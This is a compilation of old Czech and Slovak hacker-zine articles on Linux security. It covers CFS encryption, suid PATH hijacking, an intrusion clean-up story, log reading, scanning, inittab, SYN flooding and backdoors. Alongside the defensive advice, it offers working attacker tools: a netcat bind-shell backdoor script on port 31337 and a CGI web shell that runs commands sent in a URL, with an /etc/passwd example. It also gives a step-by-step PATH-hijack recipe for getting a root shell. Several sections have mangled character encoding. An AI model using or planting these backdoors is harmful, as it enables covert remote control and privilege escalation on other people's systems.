předchozí část byla určena pro administrátora systému, nyní přichází část, kde si vysvětlíme použití z pohledu uživatele. šifrovaný souborový systém je pouze "souborový pseudosystém". v praxi to vypadá tak, že v našem domovském adresáři máme skutečný podadresář plný záhadných znaků, a démon cfsd nám zprostředkovává transparentní přístup k jeho dešifrované podobě vytvořením vlastního virtuálního adresáře v /crypt.

jako první krok musíme založit šifrovaný adresář. provedeme to příkazem cmkdir adresář. jako parametr můžeme specifikovat typ šifry. chcete-li hlavně rychlost, doporučuji použít single DES (parametr -1), záleží-li vám spíš na bezpečnosti, použijte triple DES (parametr -3). program cmkdir vás vyzve k zadání klíče, počítejte s tím, že většina algoritmu bude vyžadovat klíč nejméně 16 znaku dlouhý. příklad:

 

 

cmkdir -3 .crypt

Key: okololesapolelanjedevsirylan

Again: okololesapolelanjedevsirylan

 

 

máte-li adresář hotový, zbývá ho jen připojit. příkazem cattach [adresář] [jméno] jej zpřístupníte, například cattach .crypt open vytvoří v /crypt/open dešifrovaný obraz vašeho šifrovaného adresáře. chcete-li adresář opět odpojit, použijte cdetach [jméno], například cdetach open. po provedení tohoto příkazu se znepřístupní dešifrovaný obraz adresáře.

výhodou programu CFS je to, že kontroluje uid, takže i po dešifrování máte ke svým datum přístup jen vy, a dokonce ani root si nemůže číst vaše soubory. ředitelum už nikdo nemuže ukrást účetní data a hackerům nikdo nedokáže že mají na disku cizí /etc/passwd

 

kouzlíme s path

 

psát programy se suid bitem je z hlediska bezpečnosti jedna z nejhorších věcí, jakou může administrátor počítače udělat. a pokud se dušujete, že vaše suid programy jsou bezpečné, nikdy nevíte, kdo na ně něco najde. psaní suid souborů je někdy nevyhnutelné, ale při psaní musíme myslet na to, že pokud se někdo nabourá do systému a nepovede se mu použít žádný exploit (systém je tedy relativně dobře zabezpečen), první, na co se zaměří dále, budou suid soubory.

vyhledání suid souborů je záležitostí jednoho příkazu, find / -perm +4000 -print. útčník se samozřejmě vykašle na programy ping nebo traceroute a bude se snažit objevit ty, které napsal root, které mají suid bit a které může spouštět každý. a také bude doufat, že v nějakém z těchto programů bude nějaká chyba. pokud bude takový program binárka, která nemá žadný výstup (třeba zkompilovaný céčkovcký program), patrně útočník nezjistí nic, šance na exploitnutí přes buffer overflow je hodně malinká, ne-li nulová.

útočník tedy bude doufat, že najde nějaký suid skript, který bude možné si přečíst. pokdu bude v perlu nebo nějakém jiném jazyku, třeba v php, bude se snažit zjistit, jestli někam něco nezapisuje, a potom kam nebo co. většina rozumných lidí ale píše suid soubory opatrně, aby zapisovali jenom tam, kam mají, zkrátka je to dobrý a bezpečný program.

ne všechny suid skripty jsou ale psané v perlu nebo něčem podobném. některé z nich jsou psané v obyčejném shellu, zde bych řekl, že má útočník z 90% vyhráno. skoro každý takový suid skript spouští další programy, třeba cat, grep, awk a další. je-li někde v programu řadka cat soubor, má už útočník roota během půl minuty. jak?

suid bit u skriptu ale nijak neovlivňuje práva příkazu, který se z něho spouští. takže spustí-li tento skript uživatel karel, příkaz cat se provede s právy uživatele karel. autor suid souboru ale většinou potřebuje, aby příkazy spouštěné skriptem měly práva roota, tedy aby byl suid bit efektivní. toho docílí tak, že si vyrobí suid binárku, která dělá pouze execl na suid shellovský soubor, čímž je potom jeho suid bit efektivní.

nejprve si popíšeme, jak funguje proměnná PATH v envirovnetu shellu. proměnná má formát adresář:adresář:adresář:...:adresář. tedy může vypadat třeba takto /bin:/usr/bin:/home/karel/bin:/sbin. pokud tedy zadáme přikaz třeba cat, shell se ho bude snařit najít nejprve v adrsáři /bin, potom v /usr/bin atd. pokud ho najde, spustí ho. existuje-li tedy /bin/cat a /home/karel/bin/cat, spustí se ten, který se našel první, tedy /bin/cat. druhý je zapomenut.

a v tom je celý ten trik. útočník si prostě nastaví proměnnou PATH na /tmp:$PATH (tedy adresář /tmp plus původní obsah proměnné PATH). potom vytvoří soubor /tmp/cat, který pouze zkopíruje bash (nebo jný shell) někam jinam a nastaví mu suid bit. potom už opuze spustí náš děravý suid program, který obsahuje příkaz cat a hotovo.

obrana proti takovému triku je docela jednoduchá, buď do skriptu nepsat cat, ale /bin/cat, nebo na začátek skriptu přesně vymezit proměnnou PATH, nebo suid skripty raději nepsat a zkusit to nějak bez nich.

 

you have been hacked

 

až donedávna jsem si říkal, že se vyznám v bezpečnosti linuxu natolik, že se mi nemůže nic stát. houby s octem. náhodou, když jsem zkoumal statistiky přenesených dat, jsem objevil cosi podezřelého. i když nikdo nebyl nalogován, můj počítač s kýmsi komunikoval irc protokolem. postupně jsem objevil, že už delší dobu jsou na něm usídlení jacísi chlapíci z itálie. protože se to může stát komukoliv, podělím se s vámi o své zkušenosti s tím, jak jsem vetřelce našel a jak jsem se jich zbavil.

na začátku byl ip accounting, který vykazoval neúměrný počet přenesených dat. po vypnutí všech programů které by to mohly způsobovat jsem spustil sniffer (geniální program sniffit, odkaz je dole). ten mi ukázal jednak že se jedná o irc protokol, pravděpodobně robot eggdrop, ale hlavně jsem díky němu objevil první důležitý údaj který jsem potřeboval - zdrojový port ze kterého data proudí. něco takového jde zjistit i programem netstat s parametrem -t, ale nespoléhejte na to. netstat je jeden z prvních programů které hackeři vymění za trojské koně.

měl jsem tedy zdrojový port, pro náš příklad použijme třeba číslo 12345, a chtěl jsem zjistit, jaký proces ho využívá. spustil jsem příkaz fuser 12345/tcp, což mi ukázalo, že tento port je využíván procesem číslo 234. ps tvrdil, že proces 234 se jmenuje httpd, ale httpd přece nekomunikuje irc protokolem - to mi definitivně potvrdilo podezření, že se děje něco nekalého. (tip: protože program /bin/ps je hackery také často měněn, můžete název procesu zjistit také ze souboru /proc/234/cmdline.)

zbývá zjistit kde tento povedený proces sídlí. to jsem se dozvěděl po přepnutí do adresáře /proc/234/cwd a spuštění nového shellu. příkaz pwd mi ukázal, že se nacházím v adresáři /home/tonda/.term/.termrc/ebase. definitivní důkaz že je můj počítač hacklý - tam by přece program httpd neměl sídlit. v tomto adresáři jsem následovně objevil plno hackerských utilit, například čuchadlo linsniffer nebo čistič logů wipe i s předinstalovaným skriptem na automatické čištění. byly zde i exploity na imap a automatické skenery (nikdo si zatím nestěžoval, takže doufám, že sken nestihli spustit.) v souboru /home/tonda/.bash_history jsem objevil plný záznam všech příkazů které hackeři použili (což mimo jiné svědčí o tom, že to jsou pěkná hovada, nabourávájících linuxy bez nějakých podrobnějších znalostí systému.)

tak jsem je našel, přichází obnova systému. je potřeba zjistit jak se na systém dostávali. ve /var/log/messages jsem si všiml, že se připojovali pomocí ssh na účet tonda. roota získali spuštěním rootshellu /usr/man/man8/newpass.8, což mi odhalil příkaz find / -perm +4000, který vyhledá všechny suid programy na disku. následovně jsem se pokusil zjistit, jestli nezměnili nějaké programy. používám redhat, který si automaticky udržuje databázi md5 checksumů. databáze je uložena lokálně, takže se na ni nedá stoprocentně spolehnout, ale s přihlédnutím k technické úrovni těch debílků jsem nepředpokládal že umí změnit databázi rpm. (používám i jiný systém na kontrolu integrity, ale ten mi byl k ničemu, protože jsem jej instaloval až po hacknutí počítače.) takže příkaz rpm -Va > soubor mi vyjel změny v rpm databázi (on ten redhat není zas až tak špatný, že ano otis). ukázalo se, že u několika programů nesedí checksum, nebyl jsem si sice jist, jestli jsem to neměnil já sám, ale raději jsem je znovu nainstaloval příkazem rpm -Uvh --force balík.rpm. pak jsem přeinstaloval všechny programy které jsem předtím do systému přidal ručně a nebyly tedy zavedeny v rpm databázi - hlavně ssh.

následovala samozřejmě změna totálně všech hesel (je to špatné, ale i když máte v systému třeba 400 uživatelů, musí si všichni změnit heslo, nebo aspoň crackerem vyzkoušejte jejich bezpečnost.) jakékoliv reinstalace systému jsou na nic, nezměníte-li hesla (viz rozhovor s hackery, který jsme vám přinesli před nedávnem.) také jsem změnil svá hesla na všech serverech na které jsem se připojoval (platí i pro ssh, nikdy nevíte jestli není ssh klient změněný.)

jako perličku vám řeknu co dělalo ten irc traffic. byl to samozřejmě irc robot eggdrop připojený na server irc.stealth.net na kanál #turbante. v souboru definujícím uživatele bylo uvedeno poměrně dost lidí z českých serverů, což znamená že tato italská skupina má v české republice docela hodně hacklých serverů (správce těchto serverů jsme samozřejmě kontaktovali.)

takže na závěr shrneme pár zásad co dělat při zjištění že váš počítač je hacklý:

 

 

1.odpojte systém od internetu 2.zálohujte všechna důležitá data 3.zálohujte logy z /var/log/ 4.z .bash_history a jiných logů se pokuste zjistit co se vlastně stalo 5.pokuste se najít adresář s hackerskými nástroji 6.pokud si nejste jisti co přesně bylo změněno, přeinstalujte kompletně systém, jinak přeinstalujte všechny programy, které podezříváte že jsou změněné. 7.zjistěte jaké backdoory mají hackeři na systému - to mohou být buď změněné programy, suid shelly nebo vrátka v konfiguraci (crontab apod.) 8.zkontrolujte uživatelská konta a změnte všechna hesla na lokálním systému 9.nezapomeňte aplikovat všechny aktuální patche a upgrady 10.zkontrolujte okolní systémy v lokální síti 11.upozorněte správce systémů ze kterých se hackeři k vám připojovali nebo na které se od vás připojovali 12.pak můžete systém znovu připojit k internetu

 

 

užitečné příkazy:

 

•netstat -t - ukáže všechna internetová spojení •fuser port/tcp - zjistí který proces využívá lokální port •find / -perm +4000 - najde suid soubory •rpm -Va - zkontroluje integritu rpm databáze a vypíše změněné soubory

 

 

užitečné programy:

 

•sniffit - sniffer pro analýzu síťového provozu •lsof - zjistí otevřené soubory

 

logy a ranní kafe

logování všeho možného i nemožného je jednou z mnoha předosní linuxu. kromě toho, že máte přehled o tom, kdo se kdy nalogoval do systému a z jakého počítače, můžete mít také kompletní přehled o tom, kdo se vám snaží do systému nabourat, tedy neúspěšné pokusy o připojení. logy bývají v adresáři /var/log, ale po překonfigurování /etc/syslog.conf (démon syslog je k zapisování logů určen) je možné logovat v podstatě kamkoliv. logy by měl mít možnost editovat pouze root.

někteř lidé se o jim svěřené nebo dokonce o vlastní počítač připojený k internetu nebojí. říkají si, že žádnému hackerovi nestojí za to, aby se boural zrovna do jejich počítače. omyl. hacker může využít i ten nejzapadlejší počítač s adresou jako poc32.ucebna2.fakultax.skola.cz. nepoužije ho ke změně stránek, které na něm možná běží, využije ho jako svojí přestupní stanici. pokud nrazí na počítač, kde už by chtěl změnit stránky, dá se předpokládat, že takových malých zapadlých počítačů má už po celé republice spousty a aby zmátl napadeného, který se v budoucnu určitě bude snažit ho vypátrat, zaloguje se nejprve na zapadlý počítač a z něho na cíl útoku. admin počítače se změněnými stránkami potom bude komunikovat úplně s někým jiným, kdo vůbec neví, o co jde. šance zabránit tomuto postupu je při špatně nakonfigurovaném serveru hodně malá, ale dá se jí zabránit, pokud se budou číst logy.

kupříkladu proběhne scan celé domény .cz na nějakou veřejnou službu, jejíž stará verze je lehce napadnutelná a útočník získá přístup na server. scan funguje tak, že že program běžící na nějakém obvykle zapadlém počítači má k dispozici seznam počítačů v doméně .cz a na každý z nich se snaží dostat. čteme-li potom logy na napadeném počítači, můžeme mít v logu třeba toto:

jun 27 23:13:02 comp in.sshd[8080]: log: connection refused from 60.23.375.20 (ip adresa je patent filmu "the net" - "síť" ;-))

z toho se tedy dá soudit, že někdo se chtěl přikonektit z nějakého počítače na ssh a něco tam zkoušel. můžeme sice začít komunikovat s jeho správcem, ale spíše to nikam nepovede, než ano. zatím můžeme pouze zakázat z tohoto počítače přístup.

útočník ale nebude asi zkoušet ssh. patrně se spíš bude snazžit se do počítače dostat přes služby jako imap nebo podobně. pokud se mu nepovede získat roota, stále ještě se o něm můžeme dozvědět pomocí logu, kde samozřejmě bude hláška o připojení. máme-li na starosti více počítačů a tato hláška je v logách u všech z nich, je jasné, že se někdo snaží dostat více počítačů najednou, hromadným scanem. pokud se mu to nepovedlo, můžeme si gratulovat, přesto bychom si ale měli zkontrolovat, zda software, který se někdo pokusil napadnout, nemá nyní nějakou novější verzi.

logy by měli být pro admina něco jako noviny. dá se v nich celkem pohodlně číst při pití ranního kafe ...

 

útočné scany

 

stalo se vám někdy, že v logu na 10 počítačích zároveň poznáte útok hackera na nějakou službu (třeba imap) v rozmezí 5 sekund a divíte se, jak je to možné? jednoduše - scanem. scanovací program je taková věc, která má seznam počítačových ip adres a na každou z nich se pokusí přikonektit, zjistit verzi služby, která tam běží a v případě, že se jedná o nějakou starou děravou verzi, pokusí se počítač nějak napadnout. hacker v té době se třeba koupe nebo hraje člověče nezlob se a sem tam se podívá na výsledky.

takové hackování je pro hackera dost pohodlná záležitost. jednoduše napíše program, který se napojí na port (třeba v případě popu na 110) a zjistí verzi. hacker ví, jak získat roota ve verzi lampop-2.3 a nižší. většina služeb, kam se přihlásíte, obvykle o sobě hrdě hlásí, co je zač, v děravých případech je to ale jenom na škodu. potom se pošle službě něco, s čím si neumí poradit a co nějak získá roota, pokud se to povede, scanovací program pravděpodobně zapíše někam do výsledků scanu ip počítače, kde se útok podařil. kromě toho patrně do počítače nainstaluje nějaký backdoor, tedy zadní vrátka, aby se tam hacker mohl kdykoliv pohodlně bez práce přihlásit.

hacker nevyužívá takovýchto scanů pouze k tomu, aby napadl počítače se starými programy. kromě této možnosti si také může vytvořit jakousi databázi, kde bude mít počítač a verzi služby. potom už v podstatě stačí číst třeba bugtraq nebo podobné věci, kde se zveřejňují exploity a v případě, že se najde něco nového, spustí druhý scan zaměřený už pouze na určité počítače. potom je úspěšnost útočného scanu hodně vysoká.

způsobů obrany proti napadání hromadnými scany je několik. jedna z nejlepších je přesvědčit náš program, aby neříkal svou pravou verzi, ale aby se tvářil nějak úplně jinak, tedy místo aby lampop 2.1 o sobě prohlašoval, že je lampop 11.0, která třeba ani nikdy nevyjde. jenže je poměrně časově i technicky náročné u všech veřejných služeb, které na počítači běží, přemalovávat jeho verzi.

tedy je na snadě jiný způsob ochrany a to je hra na hackera. administrátor sám by měl číst bugtraqy, undergroundy a jiné konference nebo eziny, kde se o problematice bezpečné sítě dá něco dozvědět a v případě, že objeví exploit na program, který u něj běží, okamžitě upgradovat nebo alespoň na čas program zakillovat, než bude k mání nová, neděravá verze.

relativně zákeřná věc ale je při upgradu verze program přesvědčit, aby se hlásil jako verze stará. hackerův scanovací program se potom marně bude snažit něco exploitnout a výsledek bude maximálně ip počítače, ze kterého je scan spuštěn, v našem logu. potom tedy můžeme kontaktovat admina tohoto scanovacího počítače, aby nějakým způsobem zakročil, nebo poslat sdělení o těchto aktivitách do různých konerencí, aby byly uchráněny alespoň počítače těch, které ještě scanovač nenapadl.

naštěstí se nezdá, že by se dnešní český internet zmítal v moři scanů. programy poskytující veřejné služby jsou již proti útokům zvenku relativně dobře zabezpečeny. ale to víte, czert nikdy nespí ...

 

nové služby undergroundu

 

milí čtenáři. underground není zdaleka jen webovský magacín, ale také plno aktivit okolo, třeba projekt kuda nebo hosting zajímavých projektů. a dnes k všem maglajzům přidáváme další - a to dvě zajímavé konference.

první je takovou samoobsluhou pro administrátory sítě. každou chvíli je nalezena nějaká chyba, která může zásadním způsobem ohrozit váš server, na který si brousí zuby všichni čerti. proto jsme připravili konferenci o bezpečnosti. zaměřená je hlavně na linux, ale není žádný problém zasílat sem příspěvky o jiných operačních systémech nebo o obecné bezpečnosti. ptáte se jak se přihlásit? pošlete e-mail s předmětem "subscribe" na adresu security@underground.cz a zbytek se už dozvíte. zároveň také vyzývám všechny kteří do bezpečnosti dělají, aby do té konference psali a psali a psali, ať to trochu žije. my také budeme dělat co můžeme, například každý týden vám v mailboxu přistane kopie pravidelného občasníku sekurity news.

druhá konference je už spíš pro fajnšmekry. na adrese linux.konfig@underground.cz sídlí list, který bude přinášet to nejlepší z konfigurace linuxu. máte nějaký zajímavě nastavený program... hrajete se sendmailem piškvorky? umí váš webserver zpívat? dokažte to! pošlete nám kousek konfiguračního souboru, abychom to viděli a mohli vyzkoušet.

a naopak. máte problém jak donutit pop3 naštípat dříví na táborák? zeptejte se jak na to.

modří už vědí. tento list bude přinášet praktické příklady konfigurace všeho co s linuxem souvisí. přihlašte se opět posláním mailu se subjectem "subscribe" na adresu linux.konfig@underground.cz.

máte-li nějaký nápad na zajímavý mailing-list, napište nám na adresu redakce. jestli se nám bude líbit, založíme mailing list právě pro vás.

 

Czert a letadlo

cZert[13:41][742]/usr/local/bin$ ./exploit.sh

krach...

seteuid()

Cracking.. please wait..

root[13:42][743]/usr/local/bin# whoami

root

root[13:42][744]/usr/local/bin# id

uid=0(root) gid=0(root)

root[13:42][744]/usr/local/bin# /sbin/shutdown -r now

 

Linux pohld do nitra 2

Před nedávnem jsme se seznámili s tím, co se vlastně v počítači odehrává, kdyľ se Linux startuje. Dnes na toto téma naváľeme a podíváme se podrobněji na funkce programu init a formát souboru /etc/inittab.

 

V předchozím článku jsme se dostali aľ k fázi, kdy se spustí program init. Rovněľ jsme si řekli, ľe chování tohoto programu určuje soubor /etc/inittab. Tento soubor je nesmírně důleľitý a vřele doporučuji důkladně se seznámit s problematikou jeątě neľ do něj začnete zasahovat. Rovněľ zálohování není od věci. Na druhou stranu je třeba říci, ľe větąina uľivatelů nemusí tento soubor nijak upravovat, nebo» často vystačí s tím, jak vypadá hned po instalaci.

Formát souboru je celkem jednoduchý. Kaľdý povel se nachází na zvláątním řádku a má následující tvar:

id:runlevels:action:process

id je čtyřpísmený (nebo dvoupísmený, dle platformy) jednoznačný identifikátor povelu. Runlevels obsahuje výčet runlevelů (viz. minulý článek), pro něľ se povel má vykonat. Action specifikuje akci, při níľ se vykonává povel definovaný parametrem process. Nejčastěji pouľívané hodnoty pro poloľku action jsou:

respawn - proces bude vľdy znovu spuątěn, pakliľe se ukončí. Typicky se pouľívá například pro getty. Výhodou je, ľe init sleduje, zda se program neobnovuje přílią rychle a zabraňuje tak přetíľení systému

wait - proces bude spuątěn jednou při vstupu do runlevelu a init počká na jeho dokončení

once - to samé jako wait, ale nečeká se na dokončení

boot - proces bude spuątěn jednou při bootu, runlevel je v tomto případě ignorován

bootwait - to samé jako boot, ale init čeká na dokončení

initdefault - definuje výchozí runlevel, který se pouľije při bootování. V případě, ľe neexistuje ľádný povel tohoto typu, init bude poľadovat zadání runlevelu na konzoli. Poloľka process je ignorována

sysinit - proces bude spuątěn jednou při bootu a to jeątě před vąemi povely typu boot (resp. bootwait)

ctrlaltdel - definuje povel, který bude vykonán při stisku kombinace kláves Ctrl+Alt+Delete (případně kdyľ init obdrľí signál INT)

Existují i daląí hodnoty pro poloľku action, které vąak jiľ nejsou tak časté. Kompletní seznam s popisem naleznete v manuálové stránce inittab(5).

Pakliľe jeątě zkonstatuji, ľe komentáře v souboru /etc/inittab začínají znakem #, měl by pro vás nyná být tento soubor srozumitelný. Běľný soubor pak můľe vypadat třeba takto:

 

 

 

id:3:initdefault:

si::sysinit:/etc/rc.d/rc.sysinit

l0:0:wait:/etc/rc.d/rc 0

l1:1:wait:/etc/rc.d/rc 1

l2:2:wait:/etc/rc.d/rc 2

l3:3:wait:/etc/rc.d/rc 3

l4:4:wait:/etc/rc.d/rc 4

l5:5:wait:/etc/rc.d/rc 5

l6:6:wait:/etc/rc.d/rc 6

ud::once:/sbin/update

ca::ctrlaltdel:/sbin/shutdown -t3 -r now

1:12345:respawn:/sbin/mingetty --noclear tty1

2:2345:respawn:/sbin/mingetty tty2

3:2345:respawn:/sbin/mingetty tty3

4:2345:respawn:/sbin/mingetty tty4

5:2345:respawn:/sbin/mingetty tty5

6:2345:respawn:/sbin/mingetty tty6

x:5:respawn:/usr/bin/X11/xdm -nodaemon

 

 

Vidíme, ľe výchozí runlevel bude 3, při bootu se spustí skript /etc/rc.d/rc.sysinit, nastartuje se démon update, při stisku kláves Ctrl+Alt+Del se provede povel /sbin/shutdown, nastartuje se ąest textových konzolí (povel mingetty, v případě ukončení se opět nahodí). Poslední řádek slouľí pro runlevel 5, který je běľně vyuľíván pro přímý start Xek. Program xdm umoľňuje přihláąení do systému uľ v grafickém rozhraní, akce je opět respawn, tudíľ se po ukončení Xek znovu spustí xdm.

Poslední nevysvětlenou částí v uvedeném příkladě jsou povely s id l0 aľ l6. Ty slouľí ke spuątění startovacích skriptů podle zvoleného runlevelu. O tom, jak vlastně vypadají startovací skripty v Linuxu (potaľmo v jiných un*xech) si ale povíme aľ příątě.

Back door od salo@hysteria.sk

urcite vsetci poznate netcat (nc), v sucasnosti je to standardne takmer v

kazdej distribucii

okrem toho, ze sa da krasne vyuzivat na tcp kopirovanie suborov, ktore sa

nikam neloguje (ak neratame nejake tcplogery) ma koooopu dalsich super

funkcii, sledujte:

nc -e /bin/bash -l -n -p 31337 127.0.0.1 &

po telnetnuti na zadany port mate krasny shell, funguje to ako napr.

bindshell, t.j. za kazdym prikazom ;

tento zapis ma malycku chybicku krasy, po prvom konektnuti a exite, sa nc

ukonci, treba teda nieco na sposob:

#!/bin/sh

while [ 1 ]

do

nc -e /bin/bash -l -n -p 31337 127.0.0.1

done

potom uz len ./skript & a je to...

 

cgi script pro dalkove zadavani prikazu OS unix pres www

To se omlouvam. Ja jeste necet posledni PRIELOM Snad dneska u vody bude

chvilka casu abych nazhavil svuj notak. Jinak pokud si vzpominam tak v

nekterem ze starsich PRIELOMu byl nejaky takovy skriptik.

Co tento skriptik. ten je jednoduchej. Az moc.

-------------- ZDE ZACATEK SOUB ------------------------

#!/bin/sh

/bin/echo -n "Content-type: text/html\n\n"

/bin/echo "<body bgcolor=black text=white>\n"

# proveri mou IP

if test $REMOTE_HOST = 168.1.1.21

then

/bin/echo "<CENTER>Your command : " $* "</CENTER>"

/bin/echo "<HR><BR>\n"

/bin/echo "<pre>\n"

$*

else

# zapis o vetrelci

/bin/echo ---------- >> /var/lib/httpd/cgi-bin/hack/intruder.log

/bin/date >> /var/lib/httpd/cgi-bin/hack/intruder.log

/bin/echo kdo = $REMOTE_HOST >> /var/lib/httpd/cgi-bin/hack/intruder.log

/bin/echo Sorry nejsi zadan !

fi

-------------- ZDE KONEC SOUB ------------------------

tento je myslim jednoduchej ale prikazy musis psat v okenku pro URL

pr.: http://www.neconekde.cz/cgi-bin/bd.cgi?more+/etc/passwd

>;-))

Nac pouzivat HTML balast. :-)

Mail ze security

Co chce dosiahnut niekto, kto posiela UDP pakety na port 31789?

nakonektit sa na Back Orifice 2000

Clanek o SYN floodngu z root.cz

Noční můra jménem SYN flooding

29.07.1999

Jedním z nejroząířenějąích útoků v TCP/IP prostředí je takzvaný SYN flooding. I přes svou principiální jednoduchost můľe být velmi účinný, coľ je navíc znásobeno tím, ľe se proti němu prakticky nelze bránit se stoprocentní účinností.

Nejdříve si řekněme, co to vlastně SYN flooding je. Jde o útok typu DoS (Denial of Service - odepření sluľby), jeho cílem tedy není vstoupit do systému, získat nebo poąkodit nějaká data a podobně. DoS útoky způsobují obvykle dočasnou nefunkčnost určité sluľby, například HTTP (web) nebo SMTP (e-mail).

Podstatou SF je vyuľití jedné z vlastností TCP protokolu, zvaného three-way handshake, neboli třísměrné potřesení rukou, které si klade za cíl ověřit, zda obě strany o spojení opravdu stojí.

Představme si, ľe KLIENT iniciuje spojení se SERVEREM. KLIENT tedy poąle první paket s nastaveným SYN bitem.

SERVER odpoví paketem, který má nastaven SYN a ACK bit a uloľí si informaci o nadcházejícím spojení do interní datové struktury. Tomuto stavu se říká polootevřené spojení (half-open connection).

Klient nyní za normálních okolností dokončí potřesení třetím krokem, kterým je odeslání paketu s nastaveným ACK bitem. V tuto chvíli je úvodní část spojení dokončena a po síti mohou začít proudit data.

SF vlastně nedělá nic jiného, neľ ľe začne odesílat mnoľství paketů se SYN bitem, jako kdyby chtěl normálně komunikovat, neprovádí vąak jiľ třetí fázi handshaku, takľe na stroji, který je cílem útoku, dojde postupně k zaplnění bufferů pro polootevřená spojení. Cíle bylo dosaľeno, server není schopen přijímat daląí pokusy o spojení a tudíľ se stává nedostupným. Případnou horąí alternativou můľe být úplné vyčerpání volné paměti, pakliľe není omezen maximální počet spojení - to najisto způsobí pád serveru s moľným poąkozením dat.

Výąe uvedený příklad má pro útočníka jednu slabinu: velice snadno by ąlo vypátrat, odkud je útok veden a správce serveru by mohl podniknout účinná protiopatření. Záąkodníci jsou ovąem vynalézaví a tak SF zdokonalili o funkci zvanou IP spoofing, neboli faląování IP adres.

Za normálních okolností samozřejmě nelze dost dobře faląovat IP adresu, protoľe potřebujete, aby data dorazila na váą počítač (ovąem úplně vyloučeno to není). V okamľiku, kdy vąak vlastně o spojení nestojíte, není vůbec problém vydávat se třeba za Altavistu nebo Pentagon. Kromě maskovacího účelu přináąí ale toto "vylepąení" jeątě daląí prvek do hry. Kdyľ totiľ počítač, jehoľ IP adresu si útočník vypůjčil, najednou obdrľí paket SYN+ACK, ačkoliv předtím neposlal SYN paket, odpoví paketem RST, který okamľitě polootevřené spojení ukončuje. Tím se ovąem značně sniľuje síla útoku a tak si útočníci vybírají pokud moľno IP adresy strojů, které momentálně nejsou dostupné. Cíl útoku je tak nucen drľet polootevřené spojení aľ do vyprąení timeoutu, který se obvykle pohybuje okolo 75 vteřin!

A jak se tedy lze bránit? Moľností je několik, ale bohuľel jsem nucen konstatovat, ľe ani jedna z metod není stoprocentní.

Moľností, která se jaksi automaticky nabízí, je zvětąení prostoru pro polootevřená spojení. Prakticky vzato to ale neřeąí vůbec nic: váą OS zvýąí své pamě»ové nároky, zatímco útočník se zasměje a snadno zvýąí intenzitu útoku.

Daląí metodou ochrany by mohlo být sníľení timeoutu pro polootevřená spojení, ale zde opět platí to samé - zvýąením intenzity útoku by zřejmě záąkodník dosáhl stejného výsledku a navíc hrozí, ľe při přílią nízkém timeoutu server zahodí i některá korektní spojení.

Třetí moľností ochrany jsou speciální firewally. Principů, na kterých fungují je několik. FW se například předřadí serveru, tak, ľe kaľdé spojení přejde přes něj. FW pak při obdrľení SYN paketu otevře úplné spojení se serverem, čímľ docílí toho, ľe server nedrľí polootevřené spojení. Pokud ľadatel o spojení správně dokončí handshake, funguje pak FW jako relay - tedy přesměrovává pakety mezi ľadatelem a serverem. Je zřejmé, ľe podobný FW musí být speciální zařízení, nebo» jinak by ąlo pouze o přesunutí problému na jiný stroj.

Firewally vypadají zajímavě, ale zřejmě zdaleka ne vąechny (pokud vůbec nějaké) jsou opravdu spolehlivou ochranou. Nedávno jsem se bavil s provozovatelem jednoho z největąích českých serverů a postěľoval jsem si na problémy se SF. Onen člověk mi povídá: "My jsme si na to pořídili firewall"

A já na to: "A pomáhá to?"

Odpověď: "Spíą ne."

Jak povzbudivé, ľe?

Čtvrtou moľností je inteligentní filtrování paketů. Server by si v tomto případě udrľoval spojový seznam vąech SYN paketů za určitý časový úsek. Pokud by počet SYN paketů přicházejících na jeden soket přesáhl určitou míru, porovnala by se charakteristika takových paketů se starąími záznamy a pokud by to vypadalo podezřele, okamľitě by se toto spojení stornovalo. Nevýhody jsou myslím zřejmé: detekční algoritmus byt musel být velice "chytrý" a také rychlý. Nicméně myąlenka je to zajímavá.

Poslední mě známou moľností aktivní ochrany je pouľití tzv. SYN-cookies (neplést s cookies v prohlíľeči, s těmi to nemá co dělat). Kdyľ server odpovídá na prvotní SYN paket, přidává do odpovědi tzv. initial sequence number. Toto číslo bude následně slouľit jako základ pro číslování oktetů v rámci spojení. Jeho hodnota je více méně v rukou serveru. Této vlastnosti cookies právě vyuľívají: server jednoduąe vypočítá rekonstruovatelné číslo (hash) ze zdrojové IP adresy, portu a daląích údajů ľadatele o spojení, odeąle SYN+ACK odpověď a polootevřené spojení úplně zahodí. Pakliľe obdrľí ACK paket obsahující sequence number, které odpovídá tomu, co mohl sám vygenerovat, otevře spojení, jako kdyby existovalo polootevřené spojení. I tato metoda má své pro i proti. Pro hovoří relativní jednoduchost a účinnost, proti naopak to, ľe existuje (zřejmě jenom teoretická) moľnost uhodnutí hashe a rovněľ to, ľe kvalitní hashovací funkce stojí nějaký ten výpočetní čas a paradoxně můľe vést ke zvyąování zatíľení stroje. Proto se tato metoda začíná pouľívat aľ v okamľiku, kdy jsou buffery pro polootevřená spojení zaplněny. Zabrání se tak pádu, případně nedostupnosti serveru, ale u hodně navątěvovaného serveru se nevyhnete velkému přetíľení. Podpora SYN-cookies je v linuxovém jádře podporována tuąím od verze 2.0.33 nebo 2.0.34.

Existuje jeątě pátá moľnost obrany a tou je prevence. Jde o metodu potenciálně nejspolehlivějąí, ale bohuľel prakticky nedosaľitelnou. Jak jsem jiľ říkal, při SF se pouľívá faląování IP adres. Kdyby vąichni poskytovatelé měli na svých routerech filtrovací pravidlo, které by zabraňovalo průchodu směrem ven paketům se zdrojovou IP adresou, která se v této síti nemůľe vyskytovat, bylo by po problému (nebo by byl alespoň menąí). Bylo by totiľ výrazně snaząí vypátrat alespoň přibliľnou lokaci útočníka a ve spolupráci s jeho providerem pak učinit jeho řádění přítrľ. Proto se zeptejte svého poskytovatele, zda má takto nastavené routery. Pomůľete tím dobré věci.

 

nejpoužívanější backdoory 2. 8. 1999 (07:24)

 

zajímavá diskuze o backdoorech v konferenci security@underground.cz mě vyprovokovala k napsání článku, který by se tímto problémem zabýval více. tenhle článek bude určen spíš pro ty čtenáře, kteří se orientují v UNIXu, windowsáci si z něj odnesou spíš obecné znalosti. fandové unixu oproti nim získají znalosti nejběžnějších fíglů, které hackeři používají.

začneme vymezením pojmu: backdoor. backdoor, přeloženo do češtiny zadní vrátka, je mechanismus - ať už samostatný program, modifikace běžného programu, speciální konfigurace nebo něco jiného - který umožňuje útočníkovi přístup na hacknutý stroj kdykoliv v budoucnosti. ideální backdoor by měl být tak skrytý, aby přístup hackerovi zůstal i když bude objeven.

